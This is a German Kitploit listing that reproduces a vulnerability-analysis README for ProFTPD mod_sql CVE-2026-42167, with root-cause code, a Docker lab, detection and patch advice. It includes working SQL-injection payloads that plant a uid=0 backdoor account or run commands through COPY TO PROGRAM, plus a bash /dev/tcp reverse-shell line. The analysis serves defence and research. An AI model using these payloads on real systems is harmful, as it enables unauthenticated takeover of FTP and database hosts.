Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
proftpd-CVE-2026-42167-analysis — Unabhängige Reproduktion, Root-Cause-Analyse auf Code-Ebene und realistische Exposure-Dokumentation für CVE-2026-42167 (ProFTPD mod_sql is_escaped_text()-Umgehung). | Kitploit
Tools/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Unabhängige Reproduktion, Root-Cause-Analyse auf Code-Ebene und realistische Exposure-Dokumentation für CVE-2026-42167 (ProFTPD mod_sql is_escaped_text()-Umgehung).

Repository anzeigen
31vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42167 — ProFTPD mod_sql SQL-Injection / Auth-Bypass / RCE

Unabhängige Reproduktion, Code-Level-Root-Cause-Analyse und eine offene Expositionsanalyse für CVE-2026-42167 — den is_escaped_text()-Bypass in der mod_sql-Logging-Pipeline von ProFTPD, offengelegt von ZeroPath Research und behoben in ProFTPD 1.3.9a / 1.3.10rc1.

End-to-End in Docker auf macOS / Apple Silicon erstellt und verifiziert, 2026-04-29.

TL;DR — siehe Fazit für das realistische Expositionsbild, bevor Sie entscheiden, wie besorgt Sie sein sollten. Dies ist kein Standard-Installations-Bug, aber das gefährliche Quoting-Muster ist das Muster, das die Upstream-Dokumentation Ihnen zu verwenden empfiehlt, sodass ein großer Teil der mod_sql-Bereitstellungen es erbt.

FeldWert
CVECVE-2026-42167
CWECWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection — via PG COPY TO PROGRAM)
BetroffenProFTPD ≤ 1.3.9 mit mod_sql + SQLLog/SQLNamedQuery, dessen Formatstring eine angreiferkontrollierte Variable innerhalb einfacher Anführungszeichen interpoliert
Behoben in1.3.9a (af90843ba…) / 1.3.10rc1, siehe Commit e6f728481 ("Issue #2052")
Fixierter verwundbarer Commitae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Verwundbare Dateicontrib/mod_sql.c Zeilen 741–758 (is_escaped_text) und Zeile 777 (sql_resolved_append_text)
Ursprüngliche Offenlegunghttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
Öffentlicher PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Release-Notizenhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Root Cause — is_escaped_text()-Heuristik in contrib/mod_sql.c

mod_sql löst Logging-Formatvariablen (%U, %{basename}, usw.) auf und hängt jedes Stück über sql_resolved_append_text() in das gerenderte SQL ein. Um die Abwärtskompatibilität mit Admin-Konfigurationen zu wahren, die Variablen bereits in '…' kapseln, ruft die Funktion is_escaped_text() auf, um zu entscheiden, ob sql_escapestring benötigt wird:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
Die Prüfung ist rein strukturell – sie kann nicht zwischen *„bereits durch
vertrauenswürdigen Code maskiert"* und *„von einem Angreifer so gestaltet, dass es
bereits maskiert aussieht"* unterscheiden.
Jeder clientseitig gelieferte Wert, der `'<no-internal-quotes>'` entspricht, überspringt
`sql_escapestring` und wird unverarbeitet in die endgültige Abfrage eingefügt.

Die standardmäßige, dokumentierte Konfiguration umschließt `%U` / `%{basename}` / `%m` in einfache
Anführungszeichen:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Wenn der Angreifer USER '<payload>' sendet (Anführungszeichen am Anfang und Ende, keine internen Anführungszeichen), ersetzt der Resolver %U unescaped, was ''<payload>'' in der SQL-Abfrage erzeugt – die leeren String-Literale schließen die umgebenden Anführungszeichen und <payload> wird als rohes SQL ausgeführt. Mit PostgreSQL (PQexec) und SQLite (sqlite3_exec) werden gestapelte Abfragen unterstützt, sodass <payload> eine beliebige Folge von Anweisungen sein kann.

Da SQLLog ERR_* bei fehlgeschlagenen Logins ausgelöst wird und %U aus USER vor der Authentifizierung gesetzt wird, ist der Angriff vollständig ohne Authentifizierung möglich.

Der Fix (Commit e6f728481, "Issue #2052")

sql_resolved_append_text() erhält einen already_escaped-Parameter. Aufrufer, die Werte aus Client-Eingaben auflösen, übergeben FALSE und durchlaufen nun sql_escapestring bedingungslos – die is_escaped_text()-Heuristik wird weiterhin für den legitimen Pfad "Konfiguration enthält vorab escaped Wert" angewendet, gilt aber nicht mehr für angreiferkontrollierte Daten.


2. Laborumgebung```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- Beide Container werden über `setup/docker-compose.yml` gestartet.
- `setup/proftpd.conf` aktiviert die verwundbare Logging-Konfiguration (siehe §1).
- `setup/seed.sql` erstellt `users`, `groups`, `activity_log`, `xfer_log`
  und `secrets` sowie einen einzelnen legitimen FTP-Benutzer `ftpuser / ftppass`.

---

## 3. Reproduktion — Copy/Paste

Voraussetzungen: Docker Desktop, Python 3.10+, git. (`uv` ist optional; die
PoCs benötigen nur die Standardbibliothek.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Die beiden interaktiven Varianten im Upstream-Repository (preauth_user_rce.py, postauth_stor_rce.py) sind unverändert und öffnen eine PTY-gestützte Reverse Shell. Sie verwenden dasselbe Primitive wie die Marker-Variante — ersetze einfach den Shell-Befehl durch bash -i >& /dev/tcp/<host>/<port> 0>&1 und höre zuerst auf <port>.


4. Die Payloads, Byte für Byte

Pre-Auth-Backdoor (USER-Befehl, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
Warum es funktioniert:

1. Die **äußeren Anführungszeichen + keine inneren Anführungszeichen** entsprechen
   `is_escaped_text()` → Escape wird übersprungen.
2. Die konfigurierte `SQLNamedQuery` ist `INSERT "'%U', '%r', '%m'" activity_log`,
   sodass das gerenderte SQL zu
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` wird — aber
   `<payload>` selbst beginnt mit `'`, sodass die effektive Abfrage
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')` lautet.
3. `--` kommentiert die nachfolgenden Format-Platzhalter aus.
4. `$$…$$` PostgreSQL-Dollar-Quoting ermöglicht es uns, Zeichenfolgen (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) zu übergeben, ohne jemals `'` zu verwenden — was den
   `is_escaped_text()`-Bypass erhält.
5. `SQLLog ERR_*` wird beim fehlgeschlagenen Login ausgelöst → `PQexec()` führt das gestapelte
   `INSERT INTO users` aus → das Backdoor-Konto existiert in der Auth-Tabelle.

### Backdoor nach der Authentifizierung (`STOR`-Dateiname, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Gleicher Bypass, anderer Auslöser. chr(47) = '/' wird verwendet, weil / in einem Dateinamen von FTP als Verzeichnistrenner interpretiert wird, der Angreifer also kein wörtliches / in den Dateinamen setzen kann — chr() lässt das Hintertür-Konto homedir = '/' erhalten, ohne eines über die Leitung zu senden.

Pre-auth RCE (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
Wo `<shell-cmd>` ein beliebiger Befehl ist. PostgreSQL führt ihn über `/bin/sh`
auf dem **Datenbank**-Host als `postgres`-OS-Benutzer aus. Erfordert, dass die DB-Rolle,
die von `mod_sql` verwendet wird, ein Superuser ist (oder Mitglied von
`pg_execute_server_program`) — üblich in Single-Tenant-Bereitstellungen und
die Standardeinstellung für das offizielle `postgres`-Docker-Image, wenn die Rolle über
`POSTGRES_USER` erstellt wird.

---

## 5. Während der Reproduktion erfasste Beweise

| Datei | Was sie zeigt |
|---|---|
| `logs/01_preauth_backdoor.log` | Pre-Auth-PoC-Ausgabe, Login als `backdoor` erfolgreich (`230`) |
| `logs/02_db_users_after.log` | `users`-Tabelle enthält nun `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Post-Auth-PoC-Ausgabe über STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Marker-Payload über FTP gesendet |
| `logs/06_users_final.log` | Endzustand der `users`-Tabelle |
| `logs/07_proftpd_trace.log` | ProFTPDs eigenes Trace-Log, das `text '…' is already escaped, skipping escaping it again` für jede injizierte Payload ausgibt — direkter Beweis, dass `is_escaped_text()` bei Angreifer-Eingaben TRUE zurückgibt |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` geschrieben *vom postgres-Benutzer* auf dem postgres-Container |
| `screenshots/*.png` | PNG-Darstellungen jeder aufgezeichneten Terminal-Sitzung |

Die Trace-Log-Zeile ist der entscheidende Beweis:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

Diese Meldung wird in contrib/mod_sql.c:791 nur dann ausgegeben, wenn is_escaped_text() TRUE zurückgegeben hat – also genau beim Bypass.


6. Erkennung / Gegenmaßnahmen

Erkennung (Forensik auf einem bereitgestellten Server):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log mit aktiviertem Trace sql:17 protokolliert jeden Injektionsversuch, der den Bypass erreicht hat.
  • Prüfen Sie activity_log (oder die Tabelle, in die SQLNamedQuery INSERT schreibt): Zeilen, bei denen die Benutzerspalte mit einem unerwarteten Anführungszeichen beginnt, null, null); enthält oder INSERT/COPY TO PROGRAM/UPDATE enthält, sind ein Beleg.
  • Prüfen Sie die users-Tabelle auf Konten mit uid=0, homedir='/' oder einer echten Shell, wenn die Richtlinie /sbin/nologin vorsieht.

Gegenmaßnahmen:

  • Upgrade auf ProFTPD ≥ 1.3.9a / 1.3.10rc1 (Commit e6f728481).
  • Kompensierende Kontrolle, falls ein Upgrade noch nicht möglich ist: Entfernen Sie angreiferkontrollierte Variablen aus SQLNamedQuery-Formatstrings (ersetzen Sie '%U' nur in parametrisierten Backends durch das sicherere %U, oder verwenden Sie dateibasierte Klartextprotokollierung für fehlgeschlagene Anmeldungen).
  • Defense-in-depth: Stellen Sie sicher, dass die mod_sql-PostgreSQL-Rolle kein Superuser ist – allein das entfernt den COPY TO PROGRAM-RCE-Pfad (der Auth-Bypass über gestapeltes INSERT INTO users funktioniert weiterhin, aber der Schadensradius ist auf die proftpd-Datenbank begrenzt).

7. Dateizuordnung für dieses Repository```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. Ist das realistisch – oder ein konstruierter Grenzfall?

Die ehrliche Antwort: **enger gefasst als ein „Ein-Paket-senden-und-Server-übernehmen“-Wurm, aber das anfällige Muster steht in ProFTPDs eigener Dokumentation, also ist es nicht konstruiert.** Drei unabhängige Dimensionen entscheiden, ob eine bestimmte Installation betroffen ist, und jede einzelne reduziert die Zielgruppe.

### 8.1 Ist `mod_sql` überhaupt geladen?

`mod_sql` ist optional. Es ist **nicht** im Standard-Build von ProFTPD enthalten und auch nicht in der Standardkonfiguration von Distro-Paketen wie Debian `proftpd-basic`. Du hast es nur, wenn:

- Du mit `--with-modules=mod_sql:mod_sql_<backend>` kompiliert hast, oder
- Du ein backend-spezifisches Paket installiert hast: Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.

Leute installieren diese Pakete aus einem klaren Grund: SQL-gestützte **Authentifizierung** (Benutzer in einer DB statt in `/etc/passwd`) oder SQL-gestützte **Aktivitätsprotokollierung** für Audits. Beides ist in Shared-Hosting-, Managed-FTP- und Unternehmens-FTP-Ablage-Umgebungen üblich. `mod_sql` ist also ein realer Teil der Installationsbasis – nur eben nicht „jeder Server“.

### 8.2 Wird das anfällige `SQLNamedQuery`-Muster tatsächlich verwendet?

Hier ist die Realitätsnähe am höchsten. Das Muster, das den Bug auslöst, *ist das dokumentierte.* Beispiele direkt aus dem Upstream-Baum beim festgelegten anfälligen Commit:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

Jeder von ihnen umschließt eine angreiferkontrollierte Variable (%u, %r) in einfachen Anführungszeichen — exakt die Form, die is_escaped_text() falsch klassifiziert. Ein Admin, der aus der offiziellen Doku kopiert und einfügt, übernimmt das verwundbare Muster. Das ist der Hauptgrund, dies ernst zu nehmen.

8.3 Pre-auth vs. Post-auth

Der vollständig unauthentifizierte Pfad (USER + %U + SQLLog ERR_*) ist der engste Fall. Er erfordert alle drei:

  • Eine SQLNamedQuery, die %U (Original-Benutzername, selbst bei fehlgeschlagenem Login gesetzt) innerhalb einfacher Anführungszeichen interpoliert — in realen Konfigurationen seltener als %u, da die meisten Admins den erfolgreichen Benutzernamen für die Auditierung wollen und %u verwenden.
  • Eine SQLLog-Direktive, die vor der Authentifizierung ausgelöst wird. SQLLog ERR_* ist der kanonische Wildcard dafür. SQLLog PASS … und SQLLog STOR … (die häufigsten Formen) tun das nicht.
  • Ein Backend, das gestapelte Abfragen unterstützt (PostgreSQL oder SQLite — siehe §8.4).

Wenn die Konfiguration %u statt %U verwendet, erzeugt derselbe Bug weiterhin einen Auth-Bypass — aber nur post-auth, d. h. der Angreifer benötigt zuerst irgendwelche funktionierenden Zugangsdaten, bevor er ein uid=0-Hintertürchen pflanzen kann. In den meisten realen Konfigurationen ist dies die realistische Gefährdung: FTP-Benutzer mit niedrigen Rechten → FTP-Benutzer mit Root-Rechten über einen einzigen Upload.

8.4 Das Backend spielt eine große Rolle

Der Bypass feuert auf jedem Backend identisch, aber was der Angreifer tun kann, unterscheidet sich stark:

BackendGestapelte Abfragen?Auth-Bypass via INSERT INTO usersRCE auf dem DB-Host
PostgreSQLJa (PQexec)FunktioniertJa via COPY TO PROGRAM, wenn die DB-Rolle Superuser ist
SQLiteJa (sqlite3_exec)Funktioniert (und der FTP-Worker hat oft PRIVS_ROOT — noch schlimmer)Kein direktes Äquivalent, aber beschreibbare users-Tabelle → Root-FTP-Login
MySQLNein — mysql_real_query ohne CLIENT_MULTI_STATEMENTSKann keine zweite Anweisung anhängen; reduziert sich auf Single-Statement-Subquery / blindes SQLi nur zur DatenextraktionNein

PostgreSQL oder SQLite ⇒ volle Auswirkung. MySQL ⇒ nur Datenleck / zeitbasiertes blindes SQLi. MySQL ist mit Abstand das häufigste Backend für Shared Hosting (cPanel, Plesk, ISPConfig verwenden es standardmäßig); PostgreSQL ist bei kundenspezifischen Enterprise-Builds häufiger. Beide Populationen sind nicht trivial.

8.5 RCE hat sein eigenes Tor

Die Schlagzeilen-RCE via COPY TO PROGRAM erfordert zusätzlich, dass die mod_sql- PostgreSQL-Rolle ein Superuser ist (oder Mitglied von pg_execute_server_program). Das ist:

  • Häufig, wenn die DB mit der POSTGRES_USER-Umgebungsvariable des offiziellen postgres- Docker-Images erstellt wurde (Standard für die meisten PoC-Labore und viele Appliance-Images, einschließlich setup/ dieses Repos).
  • Häufig, wenn ProFTPD eine eigene DB-Instanz besitzt (Single-Tenant- Bereitstellungen, gehostete Appliance-Images).
  • Weniger häufig, wenn die Bereitstellung durch die DBA die Rolle mit Least-Privilege erstellt hat.

Wenn die Rolle kein Superuser ist, erhält man trotzdem die Auth-Bypass-Primitive (für sich genommen bereits kritisch), aber die OS-Ebene-RCE auf dem DB-Host verschwindet.


9. Alles zusammengefügt — wer ist realistisch gefährdet```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. Empfehlung

Für alle, die ProFTPD `mod_sql` betreiben:

- **Upgrade** unabhängig davon auf ≥ 1.3.9a. Es ist die einzige vollständige Lösung.
- **Kompensierende Kontrollen**, bis Sie patchen können:
  - Setzen Sie die DB-Rolle auf **Nicht-Superuser** herab — das unterbindet den RCE-Zweig auf PostgreSQL.
  - Prüfen Sie Ihre `users`-/Auth-Tabelle auf verirrte `uid=0`-Zeilen oder kürzlich hinzugefügte Konten — siehe §6.
  - Aktivieren Sie `Trace sql:17` und durchsuchen Sie `trace.log` nach `is already escaped, skipping escaping it again` — diese Zeile ist ein direkter Beleg für einen versuchten Bypass.
  - Falls möglich, entfernen Sie `SQLLog ERR_*`-Direktiven und alle `SQLNamedQuery INSERT`-Formate, die `%U` interpolieren (die Pre-Auth-Primitive). Der Post-Auth-Pfad über `%u` / `%{basename}` bleibt weiterhin bestehen, aber Sie beseitigen den schlimmsten Fall.

---

## 11. Fazit

- Dies ist **keine** „Schwachstelle bei Standardinstallation“ — Sie müssen `mod_sql` ausführen.
- Es **ist** eine „Schwachstelle durch Befolgen der Dokumentation“ — das gefährliche Quoting-Muster ist das offizielle, das in den Upstream-HOWTOs kopiert und eingefügt wurde.
- Das **vollständig unauthentifizierte** Szenario aus der Überschrift ist real, erfordert jedoch eine spezifische (Pre-Auth-`%U` + `SQLLog ERR_*`-Wildcard) Konfigurationskombination, die seltener ist als der Post-Auth-Pfad.
- Das **Post-Auth-Privilege-Escalation**-Szenario (jeder FTP-Benutzer → uid=0 FTP-Backdoor) ist das weitaus realistischere und betrifft einen großen Teil der `mod_sql`- + PostgreSQL-/SQLite-Bereitstellungen, die die dokumentierten Logging-Muster verwenden.
- Die **OS-Level-RCE auf dem DB-Host** hängt davon ab, dass die DB-Rolle ein Superuser ist — häufig in Single-Tenant-/Appliance-artigen Setups, seltener in DBA-verwalteten Umgebungen.

---

## Danksagungen

- Schwachstelle entdeckt und ursprünglich offengelegt von [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Öffentliches PoC-Repository: [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Fix von TJ Saunders, Commit [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48) („Issue #2052“).

Dieses Repository ist eine unabhängige Reproduktion und Analyse für defensive Forschung und Bildung. Kein 0-Day. Verwenden Sie es nur auf Systemen, für die Sie autorisiert sind, Tests durchzuführen.
Tool herunterladen